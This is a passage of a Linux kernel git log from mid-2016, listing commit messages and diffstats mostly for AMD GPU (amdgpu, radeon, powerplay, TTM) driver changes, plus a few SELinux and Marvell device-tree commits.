engine, so the pageflip interrupt won't be generated, and the vsync interrupt will be generated by smu's periodic timer or software timer which will be implemented later. v2: agd: rebase on upstream Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 130 ++++++++++++++++++++++++++++--- 1 file changed, 118 insertions(+), 12 deletions(-) commit 8e6de75bd1d6fa84c4338f6e2276eb2bc339f5c9 Author: Emily Deng Date: Mon Aug 8 11:31:13 2016 +0800 drm/amdgpu: Initialize dce_virtual_display_funcs. For virtual display feature, initialize dce_virtual_display_funcs, which will be used in function dce_virtual_set_display_funcs. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 222 +++++++++++++++++++++++++++++-- 1 file changed, 208 insertions(+), 14 deletions(-) commit c6e14f40ba1c2d23be03f09ace4b4d78bfc066e4 Author: Emily Deng Date: Mon Aug 8 11:30:50 2016 +0800 drm/amdgpu: Initialize dce_virtual_ip_funcs For virtual display feature, first need to initialize dce_virtual_ip_funcs, which will be used when set ip blocks. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/Makefile | 3 +- drivers/gpu/drm/amd/amdgpu/amdgpu_display.c | 5 +- drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 308 ++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/dce_virtual.h | 29 +++ 4 files changed, 343 insertions(+), 2 deletions(-) commit 16925c92dbd97524655525b6816625e1f0063d12 Author: Emily Deng Date: Mon Aug 8 11:30:34 2016 +0800 drm/amdgpu: Add virtual connector and encoder macros. For virtual display feature, add virtual connector and encoder macros. Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/ObjectID.h | 7 +++++++ 1 file changed, 7 insertions(+) commit 14a2fb487bed51d6020ed5d950e9f2cf17b5421b Author: Lyude Date: Fri Aug 5 20:30:37 2016 -0400 drm/amdgpu: Don't retry 7 times in amdgpu_atombios_dp_get_dpcd() When this code was written, we didn't retry DP aux transactions on any error, which required retrying important transactions like this in individual drivers. Since that's no longer the case, retrying here is not necessary. As well, we retry any aux transaction on any error 32 times. 7 * 32 = 224, which means this loop causes us to retry grabbing the dpcd 224 times. This is definitely far more then we actually need to do. Reviewed-by: Christian König Signed-off-by: Lyude Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/atombios_dp.c | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) commit aff802954e06c435f582e8725964d66e21c8d573 Author: Lyude Date: Fri Aug 5 20:30:36 2016 -0400 drm/amdgpu: Don't print error on aux transaction timeouts Since it's normal for DRM to retry our aux transaction helpers multiple times in a row, up to 32 times for each attempted transaction, we're making a lot of noise that is no longer necessary now that DRM will just print the return code we give it. Reviewed-by: Christian König Signed-off-by: Lyude Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/atombios_dp.c | 1 - 1 file changed, 1 deletion(-) commit 84cefe18e3951d985b1179b35d14fae9e4ae2229 Author: Lyude Date: Fri Aug 5 20:30:35 2016 -0400 drm/radeon: Don't retry 7 times in radeon_dp_dpcd() When this code was written, we didn't retry DP aux transactions on any error, which required retrying important transactions like this in individual drivers. Since that's no longer the case, retrying here is not necessary. As well, we retry any aux transaction on any error 32 times. 7 * 32 = 224, which means this loop causes us to retry grabbing the dpcd 224 times. This is definitely far more then we actually need to do. Reviewed-by: Christian König Signed-off-by: Lyude Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/atombios_dp.c | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) commit 1969753907286e5bf5b37c477113f77fbb6159e2 Author: Lyude Date: Fri Aug 5 20:30:34 2016 -0400 drm/radeon: Don't print error on aux transaction timeouts Since it's normal for DRM to retry our aux transaction helpers multiple times in a row, up to 32 times for each attempted transaction, we're making a lot of noise that is no longer necessary now that DRM will just print the return code we give it. Reviewed-by: Christian König Signed-off-by: Lyude Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_dp_auxch.c | 1 - 1 file changed, 1 deletion(-) commit 6b37d3e956a43dba0d340fd112df185b7516fc66 Author: Philipp Zabel Date: Mon Jul 4 19:47:56 2016 +0200 reset: socfpga: no need to store modrst_offset Since we can just add it to membase once, there is no need to store modrst_offset separately, and to repeat the addition with every access. Signed-off-by: Philipp Zabel Tested-by: Dinh Nguyen drivers/reset/reset-socfpga.c | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) commit 8b31f456c72e53ee97474a538bcd91bfb1b93fb7 Author: William Roberts Date: Mon Aug 8 13:08:34 2016 -0400 selinux: print leading 0x on ioctlcmd audits ioctlcmd is currently printing hex numbers, but their is no leading 0x. Thus things like ioctlcmd=1234 are misleading, as the base is not evident. Correct this by adding 0x as a prefix, so ioctlcmd=1234 becomes ioctlcmd=0x1234. Signed-off-by: William Roberts Signed-off-by: Paul Moore security/lsm_audit.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1a93a6eac32a2853177f10e274b9b761b42356eb Author: Javier Martinez Canillas Date: Mon Aug 8 13:08:25 2016 -0400 security: Use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Signed-off-by: Javier Martinez Canillas Acked-by: Casey Schaufler Signed-off-by: Paul Moore security/lsm_audit.c | 2 +- security/selinux/hooks.c | 12 ++++++------ security/smack/smack_netfilter.c | 4 ++-- 3 files changed, 9 insertions(+), 9 deletions(-) commit ec03445c9ee282eef12b72cdb029348f80daad58 Author: Thomas Petazzoni Date: Thu Jul 28 16:35:56 2016 +0200 arm64: dts: marvell: add description for the Armada 8040 dev board This commit adds a Device Tree description for the Marvell Armada 8040 Development Board. It features a quad-core Cortex A72 Armada 8040 SoC, with a large number of peripherals: dual Gigabit, dual 10 GBit, 6 PCIe interfaces, 6 SATA ports, 4 USB 3.0 ports, and more. Only a subset of the functionalities are supported so far, and additional features will be progressively enabled in the future. Signed-off-by: Thomas Petazzoni Signed-off-by: Gregory CLEMENT arch/arm64/boot/dts/marvell/Makefile | 1 + arch/arm64/boot/dts/marvell/armada-8040-db.dts | 150 +++++++++++++++++++++++++ 2 files changed, 151 insertions(+) commit 4eef78a0091b5de8dfb275a5b7fed8c45f84d5b7 Author: Thomas Petazzoni Date: Thu Jul 28 16:35:55 2016 +0200 arm64: dts: marvell: add description for the slave CP110 in Armada 8K The Armada 8K platforms (8020 and 8040) have two CP110 HW blocks: one master, one slave. So far, only the master CP110 was described. This commit adds the Device Tree description for the slave CP110, and hooks it up in the DT description of the Armada 8020 and Armada 8040 SoCs. The slave CP110 description is somewhat similar to the master CP110 description except for a number of things like register offsets, interrupt numbers, references to clocks, etc. Signed-off-by: Thomas Petazzoni Signed-off-by: Gregory CLEMENT arch/arm64/boot/dts/marvell/armada-8020.dtsi | 1 + arch/arm64/boot/dts/marvell/armada-8040.dtsi | 1 + .../arm64/boot/dts/marvell/armada-cp110-slave.dtsi | 246 +++++++++++++++++++++ 3 files changed, 248 insertions(+) commit 4499f2acd57b568e8fa2c7908a8a3cf2802629c5 Author: Michel Dänzer Date: Mon Aug 8 12:28:26 2016 +0900 drm/ttm: Remove unused parameter evict from ttm_bo_move_memcpy Reviewed-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 3 +-- drivers/gpu/drm/nouveau/nouveau_bo.c | 2 +- drivers/gpu/drm/qxl/qxl_ttm.c | 4 ++-- drivers/gpu/drm/radeon/radeon_ttm.c | 3 +-- drivers/gpu/drm/ttm/ttm_bo.c | 3 +-- drivers/gpu/drm/ttm/ttm_bo_util.c | 3 +-- include/drm/ttm/ttm_bo_driver.h | 4 +--- 7 files changed, 8 insertions(+), 14 deletions(-) commit 4e2f0caa3960c1890ca4a7650d5e6bebbcc8ca04 Author: Michel Dänzer Date: Mon Aug 8 12:28:25 2016 +0900 drm/ttm: Remove unused parameter evict from ttm_bo_move_ttm Reviewed-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 4 ++-- drivers/gpu/drm/nouveau/nouveau_bo.c | 4 ++-- drivers/gpu/drm/radeon/radeon_ttm.c | 4 ++-- drivers/gpu/drm/ttm/ttm_bo.c | 3 +-- drivers/gpu/drm/ttm/ttm_bo_util.c | 4 ++-- include/drm/ttm/ttm_bo_driver.h | 3 +-- 6 files changed, 10 insertions(+), 12 deletions(-) commit 7b8082bc0774b75a8a3f457f2399a85d4d515c56 Author: Michel Dänzer Date: Fri Aug 5 18:36:10 2016 +0900 drm/ttm: Wait for a BO to become idle before unbinding it from GTT Fixes hangs under memory pressure, e.g. running the piglit test tex3d-maxsize concurrently with other tests. Fixes: 17d33bc9d6ef ("drm/ttm: drop waiting for idle in ttm_bo_evict.") Reviewed-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 4 ++-- drivers/gpu/drm/nouveau/nouveau_bo.c | 4 ++-- drivers/gpu/drm/radeon/radeon_ttm.c | 4 ++-- drivers/gpu/drm/ttm/ttm_bo.c | 3 ++- drivers/gpu/drm/ttm/ttm_bo_util.c | 10 +++++++++- include/drm/ttm/ttm_bo_driver.h | 3 ++- 6 files changed, 19 insertions(+), 9 deletions(-) commit fdba11f4079ec0b3037a0e3ce6014b47135db431 Author: Alex Deucher Date: Thu Mar 31 18:18:28 2016 -0400 drm/amdgpu: move all Kconfig options to amdgpu/Kconfig For consistency. Reviewed-by: Harry Wentland Signed-off-by: Alex Deucher drivers/gpu/drm/Kconfig | 3 --- drivers/gpu/drm/amd/amdgpu/Kconfig | 2 ++ 2 files changed, 2 insertions(+), 3 deletions(-) commit fad2af195f1abaada473f4f9e9a554c1e4db768b Author: Huang Rui Date: Mon Apr 18 23:29:32 2016 +0800 drm/amd/powerplay: enable powerplay as default on CZ/ST Enable powerplay as default on Carrizo and Stoney. And it can be disabled with amdgpu.powerplay=0. Reviewed-by: Alex Deucher Signed-off-by: Huang Rui Cc: Rex Zhu Cc: Flora Cui Cc: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_powerplay.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 173247569a95a63daa1a28b4c7e2c7d02a89d1a3 Author: Rex Zhu Date: Mon Aug 1 10:49:00 2016 +0800 drm/amd/powerplay: change structure variable name. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/smumgr/polaris10_smumgr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 29425288ba76f2476b2a9375e1d171f631aa01dd Author: Rex Zhu Date: Wed Aug 3 14:37:19 2016 +0800 drm/amd/powerplay: delete code set/unset deep_sleep/power_containment. they were controled by module parameter. Signed-off-by: Rex Zhu Reviewed-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/cz_hwmgr.c | 3 --- drivers/gpu/drm/amd/powerplay/hwmgr/fiji_powertune.c | 2 -- drivers/gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 6 +----- 3 files changed, 1 insertion(+), 10 deletions(-) commit bde1d8b228cfaca212bcf5f093b5c8c928af2bff Author: Chunming Zhou Date: Wed Aug 3 15:15:37 2016 +0800 drm/amdgpu: enable VCE soft reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 - drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 3 --- 2 files changed, 4 deletions(-) commit ac8e3f304047e8f0229e217afaee25be918f8ae7 Author: Rex Zhu Date: Wed Aug 3 15:10:28 2016 +0800 drm/amdgpu: remove RB1_BUSY bit checking This is a workaround to let VCE soft reset work. RB1_BUSY bit is always set, so remove its checking now, and we will depend on RB0_BUSY currently. After we find the root cause of RB1_BUSY, we can add it back. Signed-off-by: Rex Zhu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 9c0171b41248805d928863fc87190e6530b71773 Author: Chunming Zhou Date: Wed Aug 3 14:55:46 2016 +0800 drm/amdgpu: fix harvest config checking in vce3 check_soft_reset Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 3 --- 1 file changed, 3 deletions(-) commit e72cfd58998834570b0ea9cd1961e4abe84945e1 Author: Chunming Zhou Date: Wed Jul 27 13:15:20 2016 +0800 drm/amdgpu: irq resume should be immediately after gpu resume Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 568ba157cdb561c8e52985d81bdabed3f6248f77 Author: Tom St Denis Date: Wed Aug 3 12:37:23 2016 -0400 drm/amd/amdgpu: Partially revert change to UVD v3 CG Partially undo changes made by commit: drm/amd/amdgpu: don't track state in UVD clockgating To keep bypass even if CG flags are not set. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/uvd_v6_0.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 8ef583e9f9df9b6371e3faecb3955350f0588a4c Author: Tom St Denis Date: Wed Aug 3 11:34:35 2016 -0400 drm/amd/amdgpu: Enable VCE MGCG for Stoney Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1af69a2c355e9a6d3d9384697be923e34265f79c Author: Tom St Denis Date: Wed Aug 3 10:16:17 2016 -0400 drm/amd/amdgpu: Enable VCE MGCG for Carrizo Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 13d58d2a492269880e85d89e124edb814753fa37 Author: Tom St Denis Date: Wed Aug 3 10:15:48 2016 -0400 drm/amd/amdgpu: Don't set VCE CG in startup It's handled by DPM/PP properly. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 4 ---- 1 file changed, 4 deletions(-) commit 6f906814a5a8045874910f9c21c3ffd758a22f65 Author: Tom St Denis Date: Wed Aug 3 10:15:24 2016 -0400 drm/amd/amdgpu: Fix VCE CG order and resume defaults CG was being enabled in reverse sense from dpm/powerplay. Also fix the default CLK_EN signal to enable all of the blocks. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 36 ++++++++++++----------------------- 1 file changed, 12 insertions(+), 24 deletions(-) commit f16fe6d303855b609618d5db8705a8ee4634e4bf Author: Tom St Denis Date: Wed Aug 3 10:14:44 2016 -0400 drm/amd/amdgpu: fix indentation in vce3 CG Reviewed-by: Christian König Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 713c0021979a525b9e87dce8fd9d79dd0b99db4c Author: Leo Liu Date: Wed Aug 3 09:25:59 2016 -0400 drm/amdgpu: remove the check for sessions being closed This will make clock and power gated when no block decoded, for example when paused during the playback. Signed-off-by: Leo Liu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit f10379503e2b1814e27957899bcdfd0132a1915e Author: Marek Olšák Date: Sat Jul 30 00:48:39 2016 +0200 drm/amdgpu: print more accurate error messages on IB submission failure It's useful for debugging. Signed-off-by: Marek Olšák Reviewed-by: Alex Deucher Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) commit a693e050edfe794fea81d7cfe72429a406aa380b Author: Ken Wang Date: Wed Jul 27 19:18:01 2016 +0800 drm/amdgpu: use the kernel zone memory size as the max remote memory in amdgpu Signed-off-by: Ken Wang Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 ++ drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 12 +++++++----- drivers/gpu/drm/amd/amdgpu/gmc_v7_0.c | 7 ++++++- drivers/gpu/drm/amd/amdgpu/gmc_v8_0.c | 7 ++++++- 4 files changed, 21 insertions(+), 7 deletions(-) commit ecf6a637090c8034bc0d843c48905bfa5e2a4e0c Author: Ken Wang Date: Wed Jul 27 19:12:15 2016 +0800 drm/ttm: Add interface to export kernel_zone max memory size in ttm Signed-off-by: Ken Wang Reviewed-by: Alex Deucher Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/ttm/ttm_memory.c | 6 ++++++ include/drm/ttm/ttm_memory.h | 1 + 2 files changed, 7 insertions(+) commit 8e9fc800ec9e1a50a1fa7c38af8bf80d29dd85b4 Author: Rex Zhu Date: Sun Jul 31 13:46:01 2016 +0800 drm/amd/powrplay: delete code no longer in use on Polaris. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 13 ------------- 1 file changed, 13 deletions(-) commit 6391b6ab3246fe23840ed3635b17ad83f0fd0942 Author: Rex Zhu Date: Fri Jul 29 19:26:36 2016 +0800 drm/amd/powrplay: workaround Memory EDC Error for certain partner boards. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 2 ++ drivers/gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 5 ++++- 2 files changed, 6 insertions(+), 1 deletion(-) commit 5765a36d4c88d7ea2ff53e35cccca751c74716d8 Author: Rex Zhu Date: Fri Jul 29 19:19:26 2016 +0800 drm/amdgpu: AMD SW workaround for certain partner boards Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 93bdacd1bd7b81921c165e94bbe3dcefd6f88dc1 Author: Rex Zhu Date: Fri Jul 29 19:15:52 2016 +0800 drm/amd/powerplay: pass sub_device_id and sub_vendor_id to powerplay. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_powerplay.c | 3 +++ drivers/gpu/drm/amd/powerplay/inc/amd_powerplay.h | 2 ++ 2 files changed, 5 insertions(+) commit 08bd8b9f6f11e5b4f13580805ef3a38848e7fed7 Author: Rex Zhu Date: Fri Jul 29 16:30:04 2016 +0800 drm/amd/powerplay: delete useless code in hwmgr. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 36 ---------- drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 108 ++-------------------------- 2 files changed, 7 insertions(+), 137 deletions(-) commit 4fea83ff0f61676389b17803365c1e8d2b652183 Author: Flora Cui Date: Wed Jul 20 14:44:38 2016 +0800 drm/amdgpu: expose AMDGPU_GEM_CREATE_VRAM_CLEARED to user space V2: fix the return value for fill failure and validate bo before filling data Reviewed-by: Christian König Signed-off-by: Flora Cui Reviewed-by: Chunming Zhou Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 33 ++++++++++++++++++++++++++++++ include/uapi/drm/amdgpu_drm.h | 2 ++ 2 files changed, 35 insertions(+) commit 59b4a97742888d9d3c4daa96bd15157ebd496f81 Author: Flora Cui Date: Tue Jul 19 16:48:22 2016 +0800 drm/amdgpu: implement amdgpu_fill_buffer() so that bo could be set to some pattern Signed-off-by: Flora Cui Reviewed-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 5 +++ drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 62 +++++++++++++++++++++++++++++++++ 2 files changed, 67 insertions(+) commit 309889098c6095cf4c1247724c22c2943807da20 Author: Alex Deucher Date: Mon Aug 1 14:29:15 2016 -0400 drm/amdgpu/gfx8: remove stale function declaration This got leftover somehow when I cleaned this up. Reviewed-by: Christian König Reviewed-by: Chunming Zhou Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.h | 2 -- 1 file changed, 2 deletions(-) commit 1684d3ba488529266ce6f97b88076bd185f4790e Author: Eric Huang Date: Thu Jul 28 17:25:01 2016 -0400 drm/amd/amdgpu: change pptable output format from ASCII to binary Reviewed-by: Edward O'Callaghan Reviewed-by: Alex Deucher Signed-off-by: Eric Huang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_pm.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit b9a8be95b1149b74a9455f6bbe633aa241ed5204 Author: Alex Deucher Date: Fri Jul 29 18:14:39 2016 -0400 drm/amdgpu/ci: add mullins to default case for smc ucode It's already covered by the default case, but add it for consistency. Reviewed-by: Alexandre Demers Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/ci_dpm.c | 1 + 1 file changed, 1 insertion(+) commit b62774fc2f731f430b8618c1d067b06cce71cbe5 Author: Alex Deucher Date: Fri Jul 29 18:03:42 2016 -0400 drm/amdgpu/gmc7: add missing mullins case Looks like this got missed when we ported the code from radeon. Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/gmc_v7_0.c | 1 + 1 file changed, 1 insertion(+) commit 66bc3f7f03d5457f6c65790319b636bbab53e3cd Author: Rex Zhu Date: Thu Jul 28 17:36:35 2016 +0800 drm/amdgpu: use modules parameter to ctrl deep sleep feature in dpm Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/ci_dpm.c | 5 ++++- drivers/gpu/drm/amd/amdgpu/cz_dpm.c | 6 +++++- drivers/gpu/drm/amd/amdgpu/kv_dpm.c | 6 +++++- 4 files changed, 15 insertions(+), 3 deletions(-) commit af223dfaf0d93e7a0ed75bed4f69e5db198b741e Author: Rex Zhu Date: Thu Jul 28 16:51:47 2016 +0800 drm/amdgpu: add module parameters to ctrl powerplay feature Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 4 ++++ drivers/gpu/drm/amd/amdgpu/amdgpu_powerplay.c | 1 - drivers/gpu/drm/amd/powerplay/amd_powerplay.c | 1 + drivers/gpu/drm/amd/powerplay/hwmgr/fiji_hwmgr.c | 3 --- .../gpu/drm/amd/powerplay/hwmgr/fiji_powertune.c | 5 ++--- drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 22 +++++++++++++++++++++- .../drm/amd/powerplay/hwmgr/iceland_powertune.c | 5 ++--- .../gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 10 ---------- drivers/gpu/drm/amd/powerplay/inc/amd_powerplay.h | 2 +- drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 4 +++- 10 files changed, 34 insertions(+), 23 deletions(-) commit a94cbfc3773b90cf7ea02d4c079ec54eeabb42d6 Author: Rex Zhu Date: Thu Jul 7 19:39:15 2016 +0800 drm/amd/powerplay: fix typos of volt/millivolt symbols in comment. Signed-off-by: Rex Zhu Reviewed-by: Alexandre Demers Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 75419c437851ab28d75bbf14502342c97cf47eb4 Author: Tom St Denis Date: Thu Jul 28 09:38:45 2016 -0400 drm/amd/amdgpu: Enable stoney VCE PG Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit c2cdb0428026dc79b0a902ca2c4371b88e130846 Author: Tom St Denis Date: Thu Jul 28 09:38:29 2016 -0400 drm/amd/amdgpu: Enable stoney UVD PG Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 4e86be75c69cac5ccb599ba5b38df60336f247c9 Author: Tom St Denis Date: Thu Jul 28 09:38:13 2016 -0400 drm/amd/amdgpu: Enable stoney GFX PG Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 3 +++ 1 file changed, 3 insertions(+) commit 2ed0936de5ccbfd670ebf558770bb89bf9fe3b96 Author: Tom St Denis Date: Thu Jul 28 09:36:26 2016 -0400 drm/amd/amdgpu: Enable carrizo VCE PG Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 65b426225b6f9d48a7250b0bd0b9141a9a6e7312 Author: Tom St Denis Date: Thu Jul 28 09:35:57 2016 -0400 drm/amd/amdgpu: Enable carrizo UVD PG Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit f6ade30418a753e3b52329fa067250091944733f Author: Tom St Denis Date: Thu Jul 28 09:33:56 2016 -0400 drm/amd/amdgpu: Enable carrizo GFX PG Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 0da31ffce99ea2867e78f2b88c35c55ca15f033d Author: Tom St Denis Date: Thu Jul 28 09:46:00 2016 -0400 drm/amd/amdgpu: Add error messages to UVD PG in DPM Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/cz_dpm.c | 41 +++++++++++++++++++++++++++++++------ 1 file changed, 35 insertions(+), 6 deletions(-) commit fa5d2e0c103a7763b140746d396dcb8c723e74f2 Author: Tom St Denis Date: Thu Jul 28 09:45:07 2016 -0400 drm/amd/amdgpu: enable PG_EN bit in powergating UVD Enable the PG_EN bit just before the SMU would be tasked with the PG transition. Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/uvd_v6_0.c | 2 ++ 1 file changed, 2 insertions(+) commit 2875125c3184c4b05f2c2c67540339e5b90813ad Author: Tom St Denis Date: Thu Jul 28 09:44:49 2016 -0400 drm/amd/amdgpu: don't track state in UVD clockgating There's no need to track CG state anymore. Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/uvd_v6_0.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit 7acc83d4df77d2ed0153db2583f00a34e31fce92 Author: Tom St Denis Date: Thu Jul 28 09:44:14 2016 -0400 drm/amd/amdgpu: don't set clockgating in uvd_v6_0_start() This is handled properly by both DPM and PP externally. Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/uvd_v6_0.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit bd12267dd896ff8e3dfd25ac31cbc255e9184715 Author: Tom St Denis Date: Thu Jul 28 09:39:22 2016 -0400 drm/amd/amdgpu: add pm lock to debugfs mmio entry Adds support for PM locks around access to registers that might have race conditions on PG transistions. Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit e95a14a9094a8e6396fba22cbdea9201824d6fd1 Author: Tom St Denis Date: Thu Jul 28 09:40:07 2016 -0400 drm/amd/amdgpu: add mutex locking for both DPM and PP based powergating for UVD/VCE This adds a mutex lock for both DPM/PP around the changes in power gating state so that userspace can poll registers without a race condition on power state. Signed-off-by: Tom St Denis Reviewed-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_pm.c | 58 +++++++++++++++------------------- 1 file changed, 25 insertions(+), 33 